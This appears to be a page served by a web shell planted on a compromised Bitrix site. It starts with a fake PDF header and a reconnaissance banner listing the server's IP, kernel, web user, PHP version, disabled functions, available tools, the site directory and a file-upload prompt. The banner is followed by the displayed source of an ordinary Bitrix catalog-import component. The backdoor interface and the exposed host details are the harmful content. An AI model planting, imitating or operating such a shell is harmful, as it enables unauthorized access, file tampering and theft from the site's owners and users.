%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.226.200.16 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/catalog.import.1c/ |
Upload File : |
<? if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true) die(); class CBitrixCatalogImport1C extends CBitrixComponent { const XML_TREE_TABLE_NAME = 'b_xml_tree_import_1c'; public function checkDatabaseServerTime($secondsDrift = 600) { global $DB; CTimeZone::Disable(); $sql = "select ".$DB->DateFormatToDB("YYYY-MM-DD HH:MI:SS", $DB->GetNowFunction())." DB_TIME from b_user"; $query = $DB->Query($DB->TopSql($sql, 1)); $record = $query->Fetch(); CTimeZone::Enable(); $dbTime = $record? MakeTimeStamp($record["DB_TIME"], "YYYY-MM-DD HH:MI:SS"): 0; $webTime = time(); if ($dbTime) { if ($dbTime > ($webTime + $secondsDrift)) return false; elseif ($dbTime < ($webTime - $secondsDrift)) return false; else return true; } return true; } public function cleanUpDirectory($directoryName) { //Cleanup previous import files $directory = new \Bitrix\Main\IO\Directory($directoryName); if ($directory->isExists()) { if (defined("BX_CATALOG_IMPORT_1C_PRESERVE")) { $i = 0; while (\Bitrix\Main\IO\Directory::isDirectoryExists($directory->getPath().$i)) { $i++; } $directory->rename($directory->getPath().$i); } else { foreach ($directory->getChildren() as $directoryEntry) { $match = array(); if ($directoryEntry->isDirectory() && $directoryEntry->getName() === "Reports") { $emptyDirectory = true; $reportsDirectory = new \Bitrix\Main\IO\Directory($directoryEntry->getPath()); foreach ($reportsDirectory->getChildren() as $reportsEntry) { $match = array(); if (preg_match("/(\\d\\d\\d\\d-\\d\\d-\\d\\d)\\./", $reportsEntry->getName(), $match)) { if ( $match[1] >= date("Y-m-d", time()-5*24*3600) //no more than 5 days old && $match[1] < date("Y-m-d") //not today or future ) { //Preserve the file $emptyDirectory = false; } else { $reportsEntry->delete(); } } else { $reportsEntry->delete(); } } if ($emptyDirectory) { $directoryEntry->delete(); } } else { $directoryEntry->delete(); } } } } } }